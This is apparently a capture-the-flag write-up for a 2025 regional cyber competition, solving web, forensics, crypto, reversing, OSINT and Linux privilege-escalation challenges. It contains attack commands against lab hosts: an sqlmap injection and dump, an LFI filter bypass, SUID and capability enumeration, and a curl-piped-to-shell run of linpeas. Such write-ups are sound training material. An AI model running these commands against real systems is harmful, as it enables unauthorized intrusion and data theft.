Description#

Exploit following web site to extract flag.

https://easy-web-exploit.ajccbc-cyber-sea-game.net/challenge.php

Solve#

Not thinking too hard - it just needs to include the word “HEADER”, so just throw sqlmap in there.

1
sqlmap -u "https://easy-web-exploit.ajccbc-cyber-sea-game.net/challenge.php" \
2
  --data="something=HARDER" \
3
  -p something \
4
  --prefix="'" \
5
  --suffix=" #HEADER" \
6
  --batch --dump

Flag: CSG_FLAG{Congr@tul@tions_Ch@ll3ng3r_Y0u_H@v3_Solv3d_Expl0it_M3}

Description#

One of our junior network administrators created a simple web-based diagnostic tool to check the network connectivity from our server. He said it’s safe because it has filtering functions to prevent potential attacks. Can you check if it’s safe or is vulnerable to potential attacks? There should be flag.txt on the server for you!

URL: http://pingpwn.csg2025.local:5000/ (from your virtual attack environment)

Details#

You might sometimes see an “Internal Server Error” when using this system, but don’t worry - if you try a few more times, it should work properly!

Notes#

Flag format: CSG_FLAG{random_string}
Author: kzm

Solve#

It’s just a simple ping web, but there’s an EC2 user-data leak again.

Found a flag directory but can’t open it.

1
sh -c 'find / -type f \( -perm /4000 -o -perm /2000 \) -printf "%M %u %g %s %p\n" 2>/dev/null; echo "---- capabilities ----"; getcap -r / 2>/dev/null'

Searched for files with SUID and SGID.

Flag: CSG_FLAG{pprR0_J3ySz_a^1B}

Description#

The company just rolled out a shiny “Admin Panel”. Management claims it’s secure because they implemented credential input restrictions on the browser side and the used passwords are strong enough. Can you prove them wrong and leak the flag shown after logging in to the “Admin Panel”?

URL: http://webadmin.csg2025.local:5000/login (from your virtual attack environment)

Notes#

Flag format: CSG_FLAG{random_string}
Author: kzm

Solve#

an admin web login page.

It has the condition that the password is numeric, and we tried simple methods like an SQL bypass.

It worked, but it’s not the right one yet.

There is a comment in the source saying the flag is with Admin08.

Try again.

Flag: CSG_FLAG{vp*fRwm9mT5fa^1B}

Description#

A junior engineer has developed a file-sharing system. However, it appears that there have been attempts to access unauthorized files with some strange logs have been recorded. Fortunately, the security filter he implemented seems to have blocked the attacks.

However, just to be safe, could you review the system? If you discover any vulnerabilities and manage to find the flag written in flag.txt hidden somewhere on the server, please report it. Good luck!

URL: http://fileviewer.csg2025.local:5000 (from your virtual attack environment)

Notes#

Flag format: CSG_FLAG{random_string}
Auther: kzm

Solve#

From this challenge, it’s an LFI (Local File Include) vulnerability, huh.

It’s just bypassing the replace.

1
>>> "....//....//....//".replace("../", "")
2
'../../../'

Flag: CSG_FLAG{L6EENPp@v0@va^1B}

Description#

I was in a rush and somehow lost my passport at the airport. When I asked for help, the airport staff handed me a strange file. They said everything I need is inside, but I have no idea how to access it! Can you help me recover my passport data?

Details#

Your task is to perform forensic analysis on the provided E01 file. Use forensic tools to extract the data and recover a photo of the passport. The flag is hidden within the metadata of this photo.

After file recovery, perform file recovery and metadata analysis to uncover the flag.

Solve#

File: F1_CSG_Passport.zip

It’s an EWF (Expert Witness Format) file that contains image(s). The images have a flag located in the metadata field named Software.

Flag: CSG_FLAG{M3trixM@ster}

Description#

A hacker is suspected of stealing cryptocurrency, but the wallet files and chat logs recovered from his PC leave unanswered questions. Your mission is to recover the wallet’s private key and identify the destination address.

Solve#

File: F2.zip

1
Permissions Size User Date Modified      Name
2
.rw-rw-rw-   825 kali 2025-09-01 14:02  chat_log.txt
3
.rwxrw-r--  2.1M kali 2025-10-25 18:47  F2.zip
4
.rw-rw-rw-  2.1M kali 2025-09-01 13:55  memory_dump.raw
5
.rw-rw-rw-   337 kali 2025-09-01 13:55  wallet.dat

chat_log.txt

1
[2025-08-17 23:41] H: Did you erase all traces of that transfer?
2
[2025-08-17 23:42] K: Wrapped wallet.dat with my own simple encryption. Not AES, just XOR.
3
[2025-08-17 23:42] H: The password? Don’t you dare forget it.
4
[2025-08-17 23:43] K: Same rule as always: “My favorite movie hero’s name + release date (YYYYMMDD) + a symbol.”
5
[2025-08-17 23:44] H: That one with the green rain?
6
[2025-08-17 23:45] K: Yep. And I didn’t leave any notes… though maybe the browser history still has it.
7
[2025-08-17 23:47] H: Did you prepare the image too?
8
[2025-08-17 23:47] K: Screenshot of the transfer screen. Nobody checks image metadata, lol.
9
[2025-08-17 23:48] H: By the way, I left KeePass open before shutting down. Is that okay?
10
[2025-08-17 23:49] K: Might still be in RAM. If someone digs it up, that’s just bad luck.

We now know from chat_log.txt that wallet.dat is encrypted using XOR, and memory_dump.raw is the RAM image in question.

Analyze it by filtering out the readable text and checking how many lines there are.

1
83 SHA256(passphrase)=8bd747e8a8b44487d29475d8c8bf76f546578e2ae1b8b47f524070281755d234
2
38 Note: XOR key is SHA-256(passphrase)
3
23 passphrase=Neo19990331!

In the file, there’s a WALLETXOR1 marker before the bytes, which we need to remove. After that, we’ll XOR the remaining data with the key we obtained.

1
from hashlib import sha256
2

3
passphrase = b"Neo19990331!"
4
file = "wallet.dat"
5

6
key = sha256(passphrase).digest()
7
blob = open(file, "rb").read()
8
cipher = blob.split(b"\n", 1)[1]
9
plain = bytes([b ^ key[i % len(key)] for i, b in enumerate(cipher)])
10

11
print(plain.decode('utf-8'))

Flag: CSG_FLAG{crypt0_w4ll3t_forensics}

Description#

Earlier communication and data transmission utilizes the telegraph system. It uses electrical signals over wires. The sender uses a telegraph key to interrupt the electrical current, which was then decoded at the receiving end. There are various encoding systems used in telegraph system and the most famous is the Morse code.

Details#

Old computer veteran from the days of cold war left nothing but a text file. It puzzles us as it contains just one sentence and some random characters. Will you help us to try to find his secret? Since we’re so nice, we’ll even give you a free hint! The flag value will CSG_FLAG{LOOK.SOMETHING.LIKE.THIS}

Find the flag by decoding the message

Solve#

File: C6_a_very_old_odd_file.zip

1
We lived in coded times when it was not easy and the rewere shades of grey and ambiguity
2
-...----..----.--.-.---..-.-.---.----.-.--..-..-.---...-.-.--.--.--.--..-.---...--.-..-------......---.--..-.....--.....--.----...-.-.-..--.---..-..----.---..----..--.....--.----..--.-.--.---.--.---......---..--.--.--.------.-.-.---..--....--.---.-.---...-.--...---.--.--..-.--.----.-.--..-..-.---...-.-.--.--.--.---...----..----.--.-.---..-.-.---.--..---.--.-..----..-.--.---.-.---...-.--...---.--.--..-.--.------.-.-.---..--....--.--..-.....--.....--.---..-.--..-.--.---..-.-..---.--.--.---...-.--.....---..-..-.---.-----..-.--.---.....----.--..-.---...--.-..-------......---.--..-.....--.....--.--..---.--.-..----..-.--.--.-..-----..----.--------.-.-.---.------.-.-.---..--....--.---..----..--.....--.----..--.-.--.----..-....----..-.-.---.---..----..--.....--.----..--.-.--.--..-.---...--.-..-------......---.--..--.----.-.-.-.------..-.--.---.---.-.---...-.--...---.--.--..-.--.-----..-.--.---.....----.---...----..----.--.-.---..-.-.---.------.-.-.---..--....--.--..-.....--.....--.--.-..-----..----.--------.-.-.---.----...-.-.-..--.---..-..----.---..----..--.....--.----..--.-.--.---...----..----.--.-.---..-.-.---.--.-.------..--.-..-.-----.--.--..-.....--.....--.---...----..----.--.-.---..-.-.---.-----..-.--.---.....----.---.-.---...-.--...---.--.--..-.--.---.--.---......---..--.--.--.----.-.--..-..-.---...-.-.--.--.--.--..-.....--.....--.-----..-.--.---.....----.---.-.---...-.--...---.--.--..-.--.------.-.-.---..--....--.--..-.....--.....--.---.--.---......---..--.--.--.------.-.-.---..--....--.-----..-.--.---.....----.---.--.---......---..--.--.--.--..-.....--.....--.---..----..--.....--.----..--.-.--.--..---.--.-..----..-.--.--.--..--..-.--.-.-.------..--.-...----.--..-.....--.....--.---...----..----.--.-.---..-.-.---.--.--.---...-.--.....---..-..-.---.--..---.--.-..----..-.--.----.-.--..-..-.---...-.-.--.--.--.----..-....----..-.-.---.---..----..--.....--.----..--.-.--.--..-.---...--.-..-------......---.--..--.----.-.-.-.------..-.--.---.---.-.---...-.--...---.--.--..-.--.-----..-.--.---.....----.---...----..----.--.-.---..-.-.---.------.-.-.---..--....---

It really looks like Morse code, doesn’t it? But no - it’s actually Baudot. For an AI like ChatGPT, it can figure that out through multiple rounds of analysis in “thinking mode”. By testing patterns, it can tell that instead of variable-length signals like Morse, the sequence uses fixed-length binary codes typical of Baudot. With enough attempts and comparisons, it can identify the structure correctly.

Start by replacing - with 0 and . with 1, then split the sequence neatly into groups of 5 characters.

After that, use https://cryptii.com to decode it:

• Input: bytes, binary grouped by byte
• Decode: Baudot code → Baudot-Murray (ITA 2)
• Output: Text

1
CAESAR SIGURD GUSTAV . URBAN NIKLAS DAVID ERIK RUDOLF SIGURD CAESAR OLOF RUDOLF ERIK . FILIP LUDVIG ADAM GUSTAV . OLOF PETTER ERIK NIKLAS IVAR NIKLAS GUSTAV BERTIL RUDOLF ADAM CAESAR ERIK . PETTER URBAN NIKLAS CAESAR HELGE . CAESAR ADAM RUDOLF DAVID SIGURD . ADAM RUDOLF ERIK . DAVID ERIK ADAM DAVID . NIKLAS OLOF WILHELM . CAESAR LUDVIG OLOF SIGURD IVAR NIKLAS GUSTAV BERTIL RUDOLF ADAM CAESAR ERIK

It’s the Swedish Armed Forces radio alphabet.

Finally, you have two options: either continue decoding with Cryptii, or use Python to decode it however you prefer.

1
# code = open("./C6_a_very_old_odd_file.txt", "r").read().split("\n")[1].strip()
2
# code = code.replace("-", "0").replace(".", "1")
3
# n = 5
4
# code = [(code[i:i + n]) for i in range(0, len(code), n)]
5
# print(" ".join(code))
6

7
# Swedish Armed Forces radio alphabet
8
# https://en.wikipedia.org/wiki/Swedish_Armed_Forces_radio_alphabet
9

10
# Edit: Cesar -> Caesar
11

12
_map = """
13
A Adam
14
B Bertil
15
C Caesar
16
D David
17
E Erik
18
F Filip
19
G Gustav
20
H Helge
21
I Ivar
22
J Johan
23
K Kalle
24
L Ludvig
25
M Martin
26
N Niklas
27
O Olof
28
P Petter
29
Q Qvintus
30
R Rudolf
31
S Sigurd
32
T Tore
33
U Urban
34
V Viktor
35
W Wilhelm
36
X Xerxes
37
Y Yngve
38
Z Zata
39
1 Ett
40
2 Tvaa
41
3 Trea
42
4 Fyra
43
5 Femma
44
6 Sexa
45
7 Sju
46
8 Atta
47
9 Nia
48
0 Nolla
49
"""
50
map = {(x:=i.split(" "))[1].upper():x[0] for i in _map.strip().split("\n")}
51
encode = open("./encode.txt", "r").read().strip()
52
text = "".join([map.get(i, "[ERROR]") if i != "." else "." for i in encode.split(" ")])
53
print(text)

1
CSG.UNDERSCORE.FLAG.OPENINGBRACE.PUNCH.CARDS.ARE.DEAD.NOW.CLOSINGBRACE

Flag: CSG_FLAG{PUNCH.CARDS.ARE.DEAD.NOW}

Description#

It holds not one, but three hidden messages. The only clue we have is a note saying, “cats’ tails tell a lot.” Can you reveal the mystery and find all the flags?

Provided file (PNG): cat_tail.zip

Notes#

Flag format: CSG_FLAG{string}
Author: kzm

Solve#

File: cat_tail.zip

This cat is quite fat, huh? - I mean the file.

This cat is divided into three parts (I mean the flag…)

The head is in the blue channel’s LSB.

The body is in the metadata.

The tail is at the end of the file.

Flag: CSG_FLAG{T4bby_Wisp3rs_Myst3ri0us_C0d3s_w/_Tail}

Description#

We found a suspicious executable, but it’s clearly corrupted and won’t run. The file seems to have been tampered. Can you restore the file? The flag is obtained when you execute the restored executable (without any options).

File: corrupted.exe

Notes#

Flag format: CSG_FLAG{string}
Author: kzm

Solve#

File: corrupted.7z

It’s an exe file (Windows), but its signature has been corrupted.

List of file signatures

You can see that when comparing the hex headers between the chall file and a normal software file, the file signature is missing and some junk data has been added. What we need to do is remove that junk and restore the signature.

We need to remove the first 10 bytes and replace the file’s first byte with 0x4D.

Flag: CSG_FLAG{finding_the_magic_now!}

Description#

The restored executable turned out to be a flag encoder. We also found an encoded flag string as indicated below. This string was generated by this flag encoder based on the correct flag. Can you recover the flag?

Encoded flag string: lBaY4gCyygnZ3YFweaCbCfnGm1JcSiNpzE8mjZGCcRA=
Repaired File in previous challenge “Corrupted”: repaired.zip

Notes#

Flag format: CSG_FLAG{string}
Author: kzm

Solve#

File: repaired.7z

1
entry > __scrt_common_main_seh > FUN_00401280 > FUN_00401180

FUN_00401000 is custom base64 encoder function.

From the functions we traced leading to the main runtime routine, we found an XOR encryption followed by a custom Base64 encoding before the output is displayed.

So, all we need to do is use CyberChef to decode it with the key we obtained.

Base64 Alphabet: CatS4vesTh3WorldbcfgijkmnpquwxyzABDEFGHIJKLMNOPQRUVXYZ01256789+/=
XOR Key: yC3NvR8qNHynjusu

Flag: CSG_FLAG{c0rrect_fl4g_sh0wn9354}

Description#

You and your team have been chosen for a top-secret mission - The Cryptographic RFID Challenge. Your objective is to decipher the hidden cryptographic RFID data found in the provided bitstream. The information is presented in binary format, and your success will be proven by submitting the flag in the required format: CSG_FLAG{decoded data}.

Details#

You will be provided with a text file named ‘rawbits.txt’ containing the technical specifications. Decipher the binary data in to get the flag. Submit the flag using the format CSG_FLAG{decoded_data} to track your progress.

What is the decoded data?

Solve#

File: C5_rawbits.txt

1
Technical Specifications:
2
Using Clock:64
3
Invert:0
4
Bits Found:625
5

6
Encoding:
7
ASK/Manchester - Clock: 64
8

9
Decoded bitstream:
10
0000111010111001
11
1001000011111011
12
1101110011101111
13
0011111111111001
14
0000111010111001
15
1001000011111011
16
1101110011101111
17
0011111111111001
18
0000111010111001
19
1001000011111011
20
1101110011101111
21
0011111111111001
22
0000111010111001
23
1001000011111011
24
1101110011101111
25
0011111111111001
26
0000111010111001
27
1001000011111011
28
1101110011101111
29
0011111111111001
30
0000111010111001
31
1001000011111011
32
1101110011101111
33
0011111111111001
34
0000111010111001
35
1001000011111011
36
1101110011101111
37
0011111111111001
38
0000111010111001
39
1001000011111011
40
1101110011101111
41
0011111111111001

If we search for “Manchester RFID Decode”, we’ll find EM4100.

• www.priority1design.com.au/em4100_protocol

And if we try searching for the header (9 consecutive “1” bits), we’ll find that this header appears repeatedly.

Actually, if we just tell ChatGPT what it is and what the output should be, the AI will take a moment to realize that its output is a 10-character hexadecimal string directly derived from the 10 groups/frames of the EM4100.

1
import re
2

3
file = "C5_rawbits.txt"
4
pattern = re.compile(r"111111111[01]{54}0")
5
raw = open(file, "r").read().split("Decoded bitstream:")[1].strip().replace("\n", "")
6

7
matches = pattern.findall(raw)
8
data = list(set(matches))
9

10
for f in data:
11
    print("---")
12
    print(f)
13
    data = f[9:-5]
14
    groups = [data[i:i + 5][:-1] for i in range(0, len(data), 5)]
15
    print(groups)
16
    print("".join([format(int(d, 2), "X") for d in groups]))

Flag: CSG_FLAG{C0DEC0FFEE}

Japan - O1-Q1: Select “To”, “Do” and “Fu”#

Japan - O1-Q2: Prefectures without universities named after the prefecture#

Japan - O1-Q3: Prefectures without natural lakes#

Japan - O1-Q4: Prefectures without Shinkansen statioins#

Description#

Guess the geolocation

Details#

Please identify the location where this photo was taken and provide the geographic coordinates (latitude and longitude), rounded to three decimal places. Use standard rounding rules on the fourth decimal place to ensure accuracy of approximately 50 meters.

Notes#

Example: if your answer is (12.3455, -12.3454), please input “CSG_FLAG{12.346,-12.345}” as the flag. Do not include any space.

Solve#

O4_KIMG0895.jpg

Analyze

The sign tells us it’s

• Route 238
• Abashiri 295 km
• Esashi 90 km
• Hamatobetsu 61 km

There’s a curve right after the sign, and a red Idemitsu gas station nearby. This is in Japan - and that alone is enough to narrow down the location quite a bit.

We’ll search using Idemitsu for convenience

• Idemitsu near Nat'l Route 238

Starting from the first gas station - not the right one yet. After looking around a bit, we realized we’re on the correct route, and guessed that the place we’re looking for is farther ahead - the next gas station.

Found it. Now all that’s left is to scroll around to pinpoint the exact location.

Use round 3 precision.

Flag: CSG_FLAG{45.522,141.939}

Description#

While investigating a potentially malicious cryptocurrency project, we discovered a GitHub repository. Although it is no longer active, it might hold clues to the developer’s identity. Could you help us to extract the hidden email address associated with this GitHub project?

URL: https://github.com/MysteriousDevelopper

Notes#

Flag format: CSG_FLAG{string}
*The string is case insensitive.
Author: kzm

Solve#

Clone the repository, then use git log.

Flag: CSG_FLAG{[email protected]}

Description#

We’ve discovered that this developer is running a secret programming class. It seems like the students are learning something beyond just coding skills. Can you investigate and reveal the secret behind this course?

Repository: Monica_Private_Repo
Hint: Monica created a new branch called “dev” and merged into “main”.

Details#

This challenge consists of two parts. Once you complete lesson 1 and find the flag, submit it to unlock the next challenge!

Lesson 1 Flag Format: CSG_FLAG{word}

Solve#

File: material_by_monica.7z

Password for the archive is the developer’s email: [email protected]

1
git log --all --graph --oneline

Commit: a3740ee3594aeebc6f600490b4d458c0c946ad5e

Lesson 1 Flag: CSG_FLAG{phishing}

Lesson 2: Secret Lesson#

Description#

You are provided with a CSV containing a list of domains with empty cells. Your task is to fill in all the empty cells and submit the completed sheet to the server to obtain the flag.

The CSV is available from: https://o5ey6dthcg.execute-api.ap-southeast-1.amazonaws.com/upload-report

Details#

Although you can complete this task manually, it is time-consuming. Therefore, in this challenge, you are allowed to use a generative AI service of your choice. However, please be aware that current generative AI technologies can produce hallucinations. Hallucinations are more likely to occur if the AI model is unfamiliar with the content, for example, content in the Japanese language.

Instruction#

Follow the format in the report template. Do not add or remove any rows or columns.
“Prefecture” must be expressed in English.
“Telephone” numbers must be formatted as “digits”-“digits”-“digits” without the country code (e.g., 03-4330-7600).
The phone number must be the main phone number for the organization, not a call center phone number.
Ensure that there are no spaces and 2-byte characters in the data. The checker verifies the data by exact match.
Do not alter the order of the domains. The checker program will return “NG” if the order is broken.

This is not a pwn challenge. Do not try to test any vulnerability of the checker program.

Solve#

1
Domain,Prefecture,HQ Telephone
2
trendmicro.co.jp,Tokyo,03-4330-7600
3
souma-g.co.jp,,
4
marueki.jp,,
5
aspace-mgt.jp,,
6
tanpopomirai.com,,
7
asatetu.com,,
8
oreno.tyonmage.com,,
9
senkouji.org,,
10
yamamotoseiyaku.com,,
11
miraiku-jihatsuhoukago.com,,
12
kanzaki-mm.com,,
13
aya-g.co.jp,,
14
ntvhd.co.jp,,
15
tvk-yokohama.com,,
16
tv-hokkaido.co.jp,,
17
milkhompo-biz.com,,
18
bethel-corp.com,,
19
ksdh.or.jp,,
20
kdh.or.jp,,
21
group.gmo,,
22
note.jp,,
23
uec.ac.jp,,
24
keishicho.metro.tokyo.lg.jp,,
25
city.nagaoka.niigata.jp,,
26
interconti-tokyo.com,,
27
t-doitsumura.co.jp,,
28
kotoura-umaimonya.com,,
29
imabari-shimanami.jp,,
30
takinomiya.com,,

It seems normal to be asked to find the answer to get the flag, but after I tried searching for it for a long time, I accidentally deleted some records - and surprisingly, there was no error.

Try leaving only one record.

Flag: CSG_FLAG{Dawn_Of_The_Human_Being}

Description#

We found an ancient server going out of control. We need to shutdown it immediately, but we cannot contact the administrator right away. We just have login as a normal user. How can we shutdown it? You can login the server by ssh with given certificate from AWS’s Fleet Manager.

Details#

You can login the server by ssh with given certificate from AWS’s Fleet Manager. This challenge does not provide a flag. Once done, plase click the button here.

Credentials#

Target FQDN: shtdwn.csg2025.local
Username: user
Password: IamTheUser!

Instructions#

You can see the server enabled shutdown account. So use “su shutdown” to shutdown.

Solve#

First, use linpeas to scan the target

1
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

User Data of EC2 is leaked (launch script).

You will see the su shutdown command that allows any user to shut down the machine

If you don’t cheat, you’ll know this from /etc/passwd

Ok, we just run su shutdown

Back to gameboard and click verify

Description#

Your first mission is to find another user’s password.

Details#

You can login the target: m4ssh.csg2025.local via your attackbox.

Notes#

User : user0
Password : LddmujNzZ^OQa^1B
Flag format : CSG_FLAG{another user's password}

Solve#

First, EC2 User Data is leaked, scanned by LinPEAS.

You’ll see a file named -, which you can read using cat ./-

Flag: CSG_FLAG{yIp5OL53Bg8sa^1B}

Madagascar - M4-Q2: Layered Secrets#

1
6uwkjteb7k\xv28mrze69\xv28mrze69~\xv28mrze69~~\khloetq5kt

Madagascar - M4-Q3: The Capstone Exploit#

1
getcap -r / 2>/dev/null | grep -E cap_setuid